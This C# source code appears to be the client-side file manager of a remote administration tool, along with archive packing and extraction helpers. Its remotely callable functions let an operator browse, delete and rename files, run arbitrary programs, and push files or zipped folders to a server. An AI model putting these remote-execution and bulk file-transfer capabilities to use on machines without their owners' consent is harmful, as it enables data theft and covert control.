public static void ExtractArchive(string archivePath, string destinationDirectory, CancellationTokenEx cancellationToken, ReportCompressionStatus reportCompressionStatus, AddProcessingEntry addProcessingEntry) { bool isTar; Stream inputStream = new FileStream(archivePath, FileMode.Open, FileAccess.Read); switch (Path.GetExtension(archivePath).ToUpper()) { case ".ZIP": var fastZip = new FastZip(); fastZip.ExtractZip(inputStream, destinationDirectory, FastZip.Overwrite.Always, null, null, null, true, true); //TODO: Add progress return; case ".TAR": isTar = true; break; case ".GZ": inputStream = new GZipInputStream(inputStream) { IsStreamOwner = true }; isTar = archivePath.EndsWith(".tar.gz", StringComparison.OrdinalIgnoreCase); break; case ".BZ2": inputStream = new BZip2InputStream(inputStream) { IsStreamOwner = true }; isTar = archivePath.EndsWith(".tar.bz2", StringComparison.OrdinalIgnoreCase); break; case ".LZW": inputStream = new LzwInputStream(inputStream) { IsStreamOwner = true }; isTar = archivePath.EndsWith(".tar.lzw", StringComparison.OrdinalIgnoreCase); break; default: inputStream.Dispose(); return; } Directory.CreateDirectory(destinationDirectory); using (inputStream) { if (isTar) { using (TarArchive tarArchive = TarArchive.CreateInputTarArchive(inputStream)) { TarEntry lastEntry = null; ProcessingEntry lastProcessingEntry = null; tarArchive.ProgressMessageEvent += (archive, entry, message) => { if (lastEntry != entry) { if (lastEntry != null) { lastProcessingEntry.Progress = 1; lastProcessingEntry.Size = entry.Size; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus(lastProcessingEntry)); } lastEntry = entry; lastProcessingEntry = new ProcessingEntry { Action = ProcessingEntryAction.Extracting, CreationTime = DateTime.UtcNow, Path = entry.File, Progress = 0, Name = entry.Name }; ThreadPool.QueueUserWorkItem(state => addProcessingEntry(lastProcessingEntry)); } }; tarArchive.ExtractContents(destinationDirectory); } } else { var filename = Path.GetFileNameWithoutExtension(archivePath); var destinationFilePath = Path.Combine(destinationDirectory, filename); var processingEntry = new ProcessingEntry { Action = ProcessingEntryAction.Extracting, CreationTime = DateTime.UtcNow, IsDirectory = false, IsInterminate = false, LastAccess = DateTime.UtcNow, Path = destinationFilePath, Name = filename }; byte[] dataBuffer = new byte[4096]; using (var destinationFileStream = new FileStream(destinationFilePath, FileMode.Create, FileAccess.ReadWrite)) { addProcessingEntry(processingEntry); StreamUtils.Copy(inputStream, destinationFileStream, dataBuffer, (sender, args) => { processingEntry.Progress = args.PercentComplete / 100; processingEntry.Size = destinationFileStream.Length; args.ContinueRunning = !cancellationToken.IsCanceled; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); }, TimeSpan.FromSeconds(1), null, null); if (cancellationToken.IsCanceled) { processingEntry.Progress = -1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); return; } processingEntry.Progress = 1; processingEntry.Size = destinationFileStream.Length; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); } } } }
public FileExplorerCommand() { _uploadService = new UploadService(); _canceledDownloads = new List <Guid>(); ProcessingEntriesChanged += OnProcessingEntriesChanged; _dtpProcessor = new DtpProcessor(); _dtpProcessor.RegisterFunction("GetRootElements", parameters => { var rootEntryCollection = new RootEntryCollection { RootDirectories = DirectoryHelper.GetNamespaceDirectories(), ComputerDirectory = DirectoryHelper.GetDirectoryEntry(DirectoryInfoEx.MyComputerDirectory, null), ComputerDirectoryEntries = DirectoryHelper.GetComputerDirectoryEntries() }; foreach (var driveInfo in DriveInfo.GetDrives()) { if ( rootEntryCollection.ComputerDirectoryEntries.All( x => x.Path != driveInfo.RootDirectory.FullName)) { rootEntryCollection.ComputerDirectoryEntries.Add( DirectoryHelper.GetDirectoryEntry( new DirectoryInfoEx(driveInfo.RootDirectory.FullName), null)); } } return(rootEntryCollection); }, typeof(RootEntryCollection), typeof(FileEntry), typeof(DirectoryEntry), typeof(DriveDirectoryEntry), typeof(ProcessingEntry)); _dtpProcessor.RegisterFunction("GetDirectories", parameters => { var path = parameters.GetString(0); var entries = DirectoryHelper.GetDirectories(new DirectoryInfoEx(path)); return(entries); }, typeof(DriveDirectoryEntry)); _dtpProcessor.RegisterFunction("GetPathContent", parameters => { var directories = parameters.GetValue <List <string> >(0); var requestFirstAllEntries = parameters.GetBool(1); var result = new List <List <IFileExplorerEntry> >(); for (int i = 0; i < directories.Count; i++) { var directory = directories[i]; if (i == 0 && requestFirstAllEntries) { var list = DirectoryHelper.GetDirectoryEntries(directory); result.Add(list); lock (ProcessingEntriesLock) { if (ProcessingEntries.TryGetValue(directory.NormalizePath(), out var processingEntries)) { foreach (var fileExplorerEntry in processingEntries.Cast <IFileExplorerEntry>()) { var existingEntry = list.FirstOrDefault(x => x.Name.Equals(fileExplorerEntry.Name, StringComparison.OrdinalIgnoreCase)); if (existingEntry != null) { list.Remove(existingEntry); } list.Add(fileExplorerEntry); } } } } else { if (directory.Length > 3) { try { result.Add(DirectoryHelper.GetDirectoriesFast(directory).Cast <IFileExplorerEntry>() .ToList()); continue; } catch (Exception) { // ignored } } result.Add( DirectoryHelper.GetDirectories(new DirectoryInfoEx(directory)) .Cast <IFileExplorerEntry>() .ToList()); } } return(result); }, typeof(PackedDirectoryEntry), typeof(DriveDirectoryEntry), typeof(FileEntry), typeof(ProcessingEntry)); _dtpProcessor.RegisterFunction("GetDirectory", parameters => { var path = parameters.GetString(0); return(DirectoryHelper.GetDirectoryEntry(new DirectoryInfoEx(path), null)); }, typeof(DriveDirectoryEntry)); _dtpProcessor.RegisterFunction("ExpandEnvironmentVariables", parameters => Environment.ExpandEnvironmentVariables(parameters.GetString(0))); _dtpProcessor.RegisterFunction("RemoveEntries", parameters => { var entries = parameters.GetValue <List <EntryInfo> >(0); var failedList = new List <string>(); foreach (EntryInfo entry in entries) { try { if (entry.IsDirectory) { Directory.Delete(entry.Path, true); } else { File.Delete(entry.Path); } failedList.Add(null); } catch (Exception ex) { failedList.Add(ex.Message); } } return(failedList); }); _dtpProcessor.RegisterProcedure("RenameEntry", parameters => { var entry = parameters.GetValue <EntryInfo>(0); var newName = parameters.GetString(1); if (entry.IsDirectory) { Directory.Move(entry.Path, Path.Combine(Path.GetDirectoryName(entry.Path), newName)); } else { File.Move(entry.Path, Path.Combine(Path.GetDirectoryName(entry.Path), newName)); } }); _dtpProcessor.RegisterProcedure("CreateFolder", parameters => { var path = parameters.GetString(0); Directory.CreateDirectory(path); }); _dtpProcessor.RegisterProcedure("CreateShortcut", parameters => { var path = parameters.GetString(0); var info = parameters.GetValue <ShortcutInfo>(1); Type t = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8")); //Windows Script Host Shell Object object shell = Activator.CreateInstance(t); try { object lnk = t.InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shell, new object[] { path }); try { t.InvokeMember("TargetPath", BindingFlags.SetProperty, null, lnk, new object[] { info.TargetLocation }); t.InvokeMember("Description", BindingFlags.SetProperty, null, lnk, new object[] { info.Description }); if (!string.IsNullOrEmpty(info.WorkingDirectory)) { t.InvokeMember("WorkingDirectory", BindingFlags.SetProperty, null, lnk, new object[] { info.WorkingDirectory }); } if (!string.IsNullOrEmpty(info.IconPath)) { t.InvokeMember("IconLocation", BindingFlags.SetProperty, null, lnk, new object[] { $"{info.IconPath}, {info.IconIndex}" }); } if (info.Hotkey != 0) { //FML var keyByte = (byte)(info.Hotkey); var modifierByte = (byte)(info.Hotkey >> 8); var key = (Keys)keyByte; var keys = new List <string>(); const byte HOTKEYF_SHIFT = 0x01; const byte HOTKEYF_CONTROL = 0x02; const byte HOTKEYF_ALT = 0x04; if ((modifierByte & HOTKEYF_ALT) == HOTKEYF_ALT) { keys.Add("ALT"); } if ((modifierByte & HOTKEYF_CONTROL) == HOTKEYF_CONTROL) { keys.Add("CTRL"); } if ((modifierByte & HOTKEYF_SHIFT) == HOTKEYF_SHIFT) { keys.Add("SHIFT"); } keys.Add(key.ToString().ToUpper()); t.InvokeMember("Hotkey", BindingFlags.SetProperty, null, lnk, new object[] { string.Join("+", keys.ToArray()) }); } t.InvokeMember("Save", BindingFlags.InvokeMethod, null, lnk, null); } finally { Marshal.FinalReleaseComObject(lnk); } } finally { Marshal.FinalReleaseComObject(shell); } }); _dtpProcessor.RegisterFunction("GetDirectoryProperties", parameters => { var result = new DirectoryPropertiesInfo(); var directoryInfo = new DirectoryInfoEx(parameters.GetString(0)); if (directoryInfo.KnownFolderType != null) { result.DirectoryType = DirectoryType.SpecialFolder; result.SpecialFolderType = (SpecialFolderType)directoryInfo.KnownFolderType.Category; } var drive = DriveInfo.GetDrives() .FirstOrDefault(x => x.RootDirectory.FullName == directoryInfo.FullName); if (drive != null) { result.DirectoryType = DirectoryType.Drive; if (drive.IsReady) { result.DriveFormat = drive.DriveFormat; } else { result.DriveFormat = "Not ready"; } } result.CreationTime = directoryInfo.CreationTimeUtc; result.LastAccessTime = directoryInfo.LastAccessTimeUtc; result.LastWriteTime = directoryInfo.LastWriteTimeUtc; result.Attributes = (FileAttributes)directoryInfo.Attributes; return(result); }); _dtpProcessor.RegisterFunction("GetFileProperties", parameters => { var result = new FilePropertiesInfo(); var fileInfo = new FileInfoEx(parameters.GetString(0)); try { result.OpenWithProgramPath = FileHelper.AssocQueryString(AssocStr.Executable, fileInfo.Extension); result.OpenWithProgramName = FileHelper.AssocQueryString(AssocStr.FriendlyAppName, fileInfo.Extension); } catch (Exception) { // ignored } try { result.SizeOnDisk = FileHelper.GetFileSizeOnDisk(fileInfo.FullName); } catch (Exception) { // ignored } result.Size = fileInfo.Length; result.CreationTime = fileInfo.CreationTimeUtc; result.LastAccessTime = fileInfo.LastAccessTimeUtc; result.LastWriteTime = fileInfo.LastWriteTimeUtc; result.Attributes = (FileAttributes)fileInfo.Attributes; result.FileProperties = new List <FileProperty>(); try { var fileShellObject = ShellObject.FromParsingName(fileInfo.FullName); if (fileShellObject != null) { using (fileShellObject) { foreach (var prop in fileShellObject.Properties.DefaultPropertyCollection) { if (string.IsNullOrEmpty(prop.CanonicalName)) { continue; } var valueString = ObjectToString(prop.ValueAsObject); if (string.IsNullOrEmpty(valueString)) { continue; } var shellProperty = new ShellProperty { Name = prop.CanonicalName, FormatId = prop.PropertyKey.FormatId, PropertyId = prop.PropertyKey.PropertyId, Value = valueString }; var propertyNameSplitter = prop.CanonicalName.Split('.'); if (propertyNameSplitter.Length < 3) { shellProperty.Group = FilePropertyGroup.Details; } else { try { shellProperty.Group = (FilePropertyGroup) Enum.Parse(typeof(FilePropertyGroup), propertyNameSplitter[1]); } catch (Exception) { shellProperty.Group = FilePropertyGroup.Details; } } result.FileProperties.Add(shellProperty); } } } } catch (Exception) { // ignored } try { var fileVersionInfo = FileVersionInfo.GetVersionInfo(fileInfo.FullName); foreach (var prop in typeof(FileVersionInfo).GetProperties()) { var value = prop.GetValue(fileVersionInfo, null); if (value == null) { continue; } if (prop.PropertyType == typeof(string) && string.IsNullOrEmpty((string)value)) { continue; } if (prop.Name.EndsWith("Part")) { continue; } if (prop.PropertyType == typeof(bool) && !(bool)value) { continue; } string valueString; if (value is DateTime) { valueString = ((DateTime)value).ToUniversalTime().ToString(CultureInfo.InvariantCulture); } else { valueString = value.ToString(); } if (result.FileProperties.Any(x => x.Value == valueString)) { continue; } result.FileProperties.Add(new FileProperty { Name = prop.Name, Value = valueString, Group = FilePropertyGroup.FileVersionInfo }); } } catch (Exception) { // ignored } var executableExtensions = new[] { ".exe", ".scr", ".com" }; if ( executableExtensions.Any( x => string.Equals(x, fileInfo.Extension, StringComparison.OrdinalIgnoreCase))) { try { var assemblyName = AssemblyName.GetAssemblyName(fileInfo.FullName).FullName; result.FileProperties.Add(new FileProperty { Name = "AssemblyName", Value = assemblyName, Group = FilePropertyGroup.Executable }); result.FileProperties.Add(new FileProperty { Name = "IsAssembly", Value = "True", Group = FilePropertyGroup.Executable }); } catch (Exception) { // ignored } try { result.FileProperties.Add(new FileProperty { Name = "IsTrusted", Value = AuthenticodeTools.IsTrusted(fileInfo.FullName).ToString(), Group = FilePropertyGroup.Executable }); } catch (Exception) { // ignored } } return(result); }, typeof(ShellProperty)); _dtpProcessor.RegisterFunction("CalculateHashValue", parameters => { var path = parameters.GetString(0); var type = parameters.GetValue <HashValueType>(1); HashAlgorithm hashAlgorithm; switch (type) { case HashValueType.MD5: hashAlgorithm = new MD5CryptoServiceProvider(); break; case HashValueType.SHA1: hashAlgorithm = new SHA1CryptoServiceProvider(); break; case HashValueType.SHA256: hashAlgorithm = new SHA256CryptoServiceProvider(); break; case HashValueType.SHA512: hashAlgorithm = new SHA512CryptoServiceProvider(); break; default: throw new ArgumentOutOfRangeException(); } using (hashAlgorithm) using (var fileStream = new FileStream(path, FileMode.Open, FileAccess.Read)) return(hashAlgorithm.ComputeHash(fileStream)); }); _dtpProcessor.RegisterProcedure("ExecuteFile", parameters => { var path = parameters.GetString(0); var arguments = parameters.GetString(1); var verb = parameters.GetString(2); var createNoWindow = parameters.GetBool(3); var process = new Process { StartInfo = { FileName = path, Arguments = arguments, Verb = verb, CreateNoWindow = createNoWindow } }; process.Start(); }); _dtpProcessor.RegisterFunction("RequestFileUpload", parameters => { var path = parameters.GetString(0); var hashValue = parameters.GetValue <byte[]>(1); var length = parameters.GetValue <long>(2); return(_uploadService.CreateNewUploadProcess(path, hashValue, length)); }); _dtpProcessor.RegisterProcedure("CancelFileUpload", parameters => { var guid = parameters.GetValue <Guid>(0); _uploadService.CancelUpload(guid); }); _dtpProcessor.RegisterFunction("FinishFileUpload", parameters => { var guid = parameters.GetValue <Guid>(0); return(_uploadService.FinishUpload(guid)); }); _dtpProcessor.RegisterFunction("InitializeDownload", parameters => { var path = parameters.GetString(0); var isDirectory = parameters.GetBool(1); var guid = parameters.GetValue <Guid>(2); FileInfo fileToUpload; if (isDirectory) { var directory = new DirectoryInfo(path); if (!directory.Exists) { return(new DownloadInformation(DownloadResult.DirectoryNotFound)); } fileToUpload = new FileInfo(FileExtensions.GetFreeTempFileName()); ResponseByte((byte)FileExplorerCommunication.ResponsePackagingDirectory, _connectionInfo); var fastZip = new FastZip(); fastZip.CreateZip(fileToUpload.FullName, directory.FullName, true, null, null); } else { var fi = new FileInfo(path); if (!fi.Exists) { return(new DownloadInformation(DownloadResult.FileNotFound)); } fileToUpload = fi.CopyTo(FileExtensions.GetFreeTempFileName()); ResponseByte((byte)FileExplorerCommunication.ResponseCopyingFile, _connectionInfo); } var fileStream = new FileStream(fileToUpload.FullName, FileMode.Open, FileAccess.Read); byte[] hash; using (var md5CryptoService = new MD5CryptoServiceProvider()) hash = md5CryptoService.ComputeHash(fileStream); fileStream.Position = 0; new Thread(() => { const int bufferSize = 4096; try { using (fileStream) { int read; var guidData = guid.ToByteArray(); var buffer = new byte[bufferSize]; while ((read = fileStream.Read(buffer, 0, bufferSize)) > 0) { _connectionInfo.UnsafeResponse(this, read + 17, writer => { writer.Write((byte)FileExplorerCommunication.ResponseDownloadPackage); writer.Write(guidData); writer.Write(buffer, 0, read); }); if (_isDisposed) { return; } if (_canceledDownloads.Contains(guid)) { _canceledDownloads.Remove(guid); return; } } } } catch (Exception) { if (!_isDisposed) { ResponseBytes((byte)FileExplorerCommunication.ResponseDownloadFailed, guid.ToByteArray(), _connectionInfo); } } finally { fileToUpload.Delete(); } }).Start(); return(new DownloadInformation(fileToUpload.Length, hash)); }); _dtpProcessor.RegisterProcedure("CancelDownload", parameters => { var downloadGuid = parameters.GetValue <Guid>(0); _canceledDownloads.Add(downloadGuid); }); _dtpProcessor.RegisterFunction("DownloadToServer", parameters => { var path = parameters.GetString(0); var isDirectory = parameters.GetBool(1); if (!isDirectory) { var fileInfo = new FileInfo(path); if (!fileInfo.Exists) { return(DownloadResult.FileNotFound); } new Thread(() => { _connectionInfo.ClientInfo.ClientOperator.DatabaseConnection.PushFile(fileInfo.FullName, fileInfo.Name, DataMode.File); }).Start(); } else { var directoryInfo = new DirectoryInfo(path); if (!directoryInfo.Exists) { return(DownloadResult.DirectoryNotFound); } new Thread(() => { var tempFile = new FileInfo(FileExtensions.GetFreeTempFileName()); var fastZip = new FastZip(); fastZip.CreateZip(tempFile.FullName, directoryInfo.FullName, true, null); _connectionInfo.ClientInfo.ClientOperator.DatabaseConnection.PushFile(tempFile.FullName, directoryInfo.Name, DataMode.ZipArchive); tempFile.Delete(); }).Start(); } return(DownloadResult.Succeed); }); _dtpProcessor.RegisterFunction("GetFileThumbnail", parameters => { var filePath = parameters.GetString(0); var bigSize = parameters.GetBool(1); var thumbnail = bigSize ? WindowsThumbnailProvider.GetThumbnail(filePath, 300, 169, ThumbnailOptions.BiggerSizeOk) : WindowsThumbnailProvider.GetThumbnail(filePath, 100, 56, ThumbnailOptions.None); byte[] data; using (var memoryStream = new MemoryStream()) { thumbnail.Save(memoryStream, ImageFormat.Png); data = memoryStream.ToArray(); } Debug.Print("Thumbnail size: " + data.Length); return(data); }); _dtpProcessor.RegisterProcedure("CreateArchive", parameters => { var archiveOptions = parameters.GetValue <ArchiveOptions>(0); var processingEntry = new ProcessingEntry { Action = ProcessingEntryAction.Packing, CreationTime = DateTime.UtcNow, IsInterminate = true, LastAccess = DateTime.UtcNow, Name = Path.GetFileName(archiveOptions.ArchivePath), Path = archiveOptions.ArchivePath, Size = 0, Progress = 0 }; var normalizedFolderPath = Path.GetDirectoryName(archiveOptions.ArchivePath).NormalizePath(); var normalizedPath = archiveOptions.ArchivePath.NormalizePath(); var cancellationToken = new CancellationTokenEx(); lock (ProcessingEntriesLock) { if (ProcessingEntries.TryGetValue(normalizedFolderPath, out var processingEntries)) { processingEntries.Add(processingEntry); } else { ProcessingEntries.Add(normalizedFolderPath, new List <ProcessingEntry> { processingEntry }); } ProcessEntryCancellationTokens.Add(normalizedPath, cancellationToken); } ProcessingEntriesChanged?.Invoke(this, new ProcessingEntriesChangedEventArgs(normalizedFolderPath, processingEntry, EntryUpdateMode.Add)); new Thread(() => { try { ZipUtilities.CreateArchive(archiveOptions, processingEntry, cancellationToken, entry => { ProcessingEntriesChanged?.Invoke(this, new ProcessingEntriesChangedEventArgs(normalizedFolderPath, processingEntry, EntryUpdateMode.Update)); }); } catch (Exception) { cancellationToken.Cancel(); } finally { lock (ProcessingEntriesLock) { if (ProcessingEntries.TryGetValue(normalizedFolderPath, out var processingEntries)) { processingEntries.Remove(processingEntry); if (processingEntries.Count == 0) { ProcessingEntries.Remove(normalizedFolderPath); } } ProcessEntryCancellationTokens.Remove(normalizedPath); } } if (cancellationToken.IsCanceled) { try { File.Delete(archiveOptions.ArchivePath); } catch (Exception) { // ignored } return; } if (archiveOptions.DeleteAfterArchiving) { foreach (var entry in archiveOptions.Entries) { try { if (entry.IsDirectory) { Directory.Delete(entry.Path, true); } else { File.Delete(entry.Path); } } catch (Exception) { // ignored } } } }).Start(); });
public static void CreateArchive(ArchiveOptions archiveOptions, ProcessingEntry processingEntry, CancellationTokenEx cancellationToken, ReportCompressionStatus reportCompressionStatus) { var folderName = new Lazy <string>(() => { var firstEntry = archiveOptions.Entries[0]; return((firstEntry.IsDirectory ? new DirectoryInfo(firstEntry.Path).Parent.FullName : new FileInfo(firstEntry.Path).DirectoryName).TrimEnd('\\')); }); Stream outputStream = new FileStream(archiveOptions.ArchivePath, FileMode.Create, FileAccess.ReadWrite); switch (archiveOptions.CompressionMethod) { case CompressionMethod.None: //dont wrap the stream break; case CompressionMethod.Zip: using (var zipStream = new ZipOutputStream(outputStream) { IsStreamOwner = true }) { zipStream.SetLevel(archiveOptions.CompressionLevel); zipStream.Password = archiveOptions.Password; var folderOffset = folderName.Value.Length; var fileList = new List <FileInfo>(); foreach (var entry in archiveOptions.Entries) { if (entry.IsDirectory) { CollectFiles(fileList, new DirectoryInfo(entry.Path)); } else { fileList.Add(new FileInfo(entry.Path)); } } double totalLength = fileList.Sum(x => x.Length); long currentLength = 0; var updateStopwatch = Stopwatch.StartNew(); void UpdateProgress(float progress) { //important for a lot of small files if (updateStopwatch.ElapsedMilliseconds > 1000) { updateStopwatch.Reset(); processingEntry.Progress = progress; processingEntry.Size = zipStream.Length; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); updateStopwatch.Start(); } } foreach (var fileInfo in fileList) { var entryName = ZipEntry.CleanName(fileInfo.FullName.Substring(folderOffset)); var zipEntry = new ZipEntry(entryName) { DateTime = fileInfo.LastWriteTime, AESKeySize = string.IsNullOrEmpty(archiveOptions.Password) ? 0 : 256, Size = fileInfo.Length }; byte[] buffer = new byte[4096]; FileStream zipEntryStream; try { zipEntryStream = fileInfo.OpenRead(); } catch (Exception) { continue; //access denied } zipStream.PutNextEntry(zipEntry); using (zipEntryStream) { StreamUtils.Copy(zipEntryStream, zipStream, buffer, (sender, args) => { UpdateProgress((float)((currentLength + args.Processed) / totalLength)); args.ContinueRunning = !cancellationToken.IsCanceled; }, TimeSpan.FromSeconds(1), null, null); } if (cancellationToken.IsCanceled) { //force update processingEntry.Progress = -1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); return; } currentLength += fileInfo.Length; zipStream.CloseEntry(); UpdateProgress((float)(currentLength / totalLength)); } //force update processingEntry.Size = zipStream.Length; processingEntry.Progress = 1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); } return; case CompressionMethod.Gzip: var gzipStream = new GZipOutputStream(outputStream) { IsStreamOwner = true }; gzipStream.SetLevel(archiveOptions.CompressionLevel); gzipStream.Password = archiveOptions.Password; outputStream = gzipStream; break; case CompressionMethod.Bzip2: outputStream = new BZip2OutputStream(outputStream) { IsStreamOwner = true }; break; default: throw new ArgumentException("Unknown compression method: " + archiveOptions.CompressionMethod); } using (outputStream) { if (archiveOptions.UseTarPacker) { using (var tarOutputStream = new TarOutputStream(outputStream)) { var rootPath = Path.GetDirectoryName(archiveOptions.Entries[0].Path).Replace('\\', '/').TrimEnd('/'); var fileList = new List <FileInfo>(); foreach (var entry in archiveOptions.Entries) { if (entry.IsDirectory) { CollectFiles(fileList, new DirectoryInfo(entry.Path)); } else { fileList.Add(new FileInfo(entry.Path)); } } var buffer = new byte[4096]; double totalLength = fileList.Sum(x => x.Length); long currentLength = 0; var updateStopwatch = Stopwatch.StartNew(); foreach (var fileInfo in fileList) { Stream fileStream; try { fileStream = new FileStream(fileInfo.FullName, FileMode.Open, FileAccess.Read); } catch (Exception) { continue; } using (fileStream) { var tarEntry = TarEntry.CreateEntryFromFile(fileInfo.FullName); tarEntry.Name = fileInfo.FullName.Substring(rootPath.Length + 1); tarOutputStream.PutNextEntry(tarEntry); StreamUtils.Copy(fileStream, tarOutputStream, buffer, (sender, args) => { args.ContinueRunning = !cancellationToken.IsCanceled; if (updateStopwatch.ElapsedMilliseconds > 1000) { updateStopwatch.Reset(); processingEntry.Progress = (float)((currentLength + args.Processed) / totalLength); processingEntry.Size = tarOutputStream.Length; ThreadPool.QueueUserWorkItem( state => reportCompressionStatus.Invoke(processingEntry)); updateStopwatch.Start(); } }, TimeSpan.FromSeconds(1), null, null); tarOutputStream.CloseEntry(); } currentLength += fileInfo.Length; if (cancellationToken.IsCanceled) { processingEntry.Progress = -1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); return; } } } } else { var entry = archiveOptions.Entries[0]; if (entry.IsDirectory) { throw new ArgumentException("Cannot pack directory without tar/zip"); } byte[] dataBuffer = new byte[4096]; using (var sourceStream = new FileStream(entry.Path, FileMode.Open, FileAccess.Read)) StreamUtils.Copy(sourceStream, outputStream, dataBuffer, (sender, args) => { //no stopwatch needed because it is only one entry processingEntry.Progress = args.PercentComplete / 100; processingEntry.Size = outputStream.Length; args.ContinueRunning = !cancellationToken.IsCanceled; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); }, TimeSpan.FromSeconds(1), null, null); if (cancellationToken.IsCanceled) { //force update processingEntry.Progress = -1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); return; } } processingEntry.Size = outputStream.Length; processingEntry.Progress = 1; ThreadPool.QueueUserWorkItem(state => reportCompressionStatus.Invoke(processingEntry)); } }